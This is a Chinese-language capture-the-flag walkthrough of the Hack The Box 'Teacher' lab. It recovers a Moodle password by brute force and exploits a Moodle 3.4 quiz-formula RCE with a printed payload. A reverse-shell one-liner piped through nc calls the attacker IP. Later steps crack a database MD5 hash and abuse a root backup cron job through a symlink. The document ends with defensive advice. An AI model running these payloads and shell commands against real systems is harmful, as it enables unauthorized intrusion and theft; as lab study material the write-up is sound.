HTB靶机Teacher渗透测试教学文档
1. 环境准备
- 攻击机:Kali Linux (IP: 10.10.14.50)
- 靶机:Teacher (IP: 10.10.10.153)
- 工具准备:
- nmap
- curl
- gobuster
- Burp Suite
- pspy (进程监控工具)
2. 信息收集
2.1 端口扫描
使用nmap进行初始扫描:
nmap -sC -sV -sT 10.10.10.153
扫描结果:
- 仅开放80端口
- Web服务运行中
2.2 Web应用分析
访问http://10.10.10.153,发现静态网页,包含以下页面:
- Courses
- Students
- GALLERY等
关键发现:
在GALLERY页面的源代码中,发现第一个img元素有异常:
其他图片正常加载,唯独此图片无法加载。
3. 初始渗透
3.1 可疑图片分析
下载可疑图片:
curl http://10.10.10.153/images/5.png -o image.png
检查文件内容:
file image.png
cat image.png
发现:文件不是有效图片,包含提示信息:
"Forgot Password? Well, I can't tell you that but I can give you a hint. The last character is #. You'll have to figure out the rest."
3.2 目录爆破
使用gobuster进行目录扫描:
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50
发现目录:
- /phpMyAdmin (访问被拦截)
- /moodle (可访问)
4. Moodle系统渗透
4.1 凭据猜测
根据图片提示:
- 用户名可能是"Giovanni"
- 密码最后一位是"#"
使用Burp Suite的Intruder模块进行暴力破解:
- 加载字典:
- /usr/share/SecLists/Fuzzing/alphanum-case.txt
- /usr/share/SecLists/Fuzzing/special-chars.txt
- 根据响应长度差异确定正确密码
成功凭据:
- Username: Giovanni
- Password: Th4C00lTheacha#
4.2 版本识别
通过"Moodle Docs for this page"链接分析URL参数,确定Moodle版本为3.4。
4.3 漏洞利用
搜索Moodle 3.4的RCE漏洞,参考:
https://blog.ripstech.com/2018/moodle-remote-code-execution/
利用步骤:
- 启用编辑模式
- 创建新活动,选择"Quiz"
- 添加新问题,类型选择"Calculated"
- 在answers字段插入payload:
/*{a*/`$_REQUEST[sdfz]`;//{x}} - 保存后访问Next Page验证payload
4.4 获取反向Shell
Kali监听端口:
nc -lvnp 1337
访问构造的URL:
&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f
成功获取初始shell。
5. 权限提升
5.1 数据库凭证获取
在moodle目录下查找配置文件:
find / -name config.php 2>/dev/null
发现数据库凭据,尝试连接MySQL:
mysql -u root -p
改善shell交互性:
python -c 'import pty;pty.spawn("/bin/bash")'
查询用户表:
use moodle;
select username,password from mdl_user;
发现:
第四个用户密码为32位MD5哈希:7a860966115182402ed06375cf0a22af
使用crackstation.net破解,得到密码:"expelled"。
5.2 用户切换
检查/etc/passwd发现用户"giovanni":
cat /etc/passwd | grep -i giovanni
尝试切换:
su giovanni
密码:expelled
成功获取用户flag。
5.3 计划任务分析
在giovanni的work目录发现备份相关线索:
cd /home/giovanni/work
ls -la
使用pspy监控进程:
- 下载pspy:
wget http://10.10.14.50/pspy -O /dev/shm/pspy chmod +x /dev/shm/pspy /dev/shm/pspy - 发现root执行的备份脚本:/usr/bin/backup.sh
5.4 利用备份脚本提权
分析backup.sh内容:
cat /usr/bin/backup.sh
脚本逻辑:
- 压缩/home/giovanni/work/courses目录
- 在/tmp目录解压
利用方法:
- 删除原始courses目录:
rm -rf /home/giovanni/work/courses - 创建指向/root的符号链接:
ln -s /root /home/giovanni/work/courses - 等待计划任务执行
- 在/tmp目录查看解压的root文件
成功获取root flag。
6. 总结
本次渗透测试关键点:
- 通过网页源代码分析发现隐藏提示
- 利用目录爆破发现Moodle系统
- 结合提示暴力破解Moodle凭据
- 利用Moodle 3.4的RCE漏洞获取初始访问
- 通过数据库凭证破解获取用户权限
- 分析计划任务和备份脚本实现权限提升
防御建议:
- 避免在客户端代码中遗留敏感信息
- 使用强密码策略
- 及时更新Web应用补丁
- 限制计划任务的权限
- 对符号链接操作进行安全检查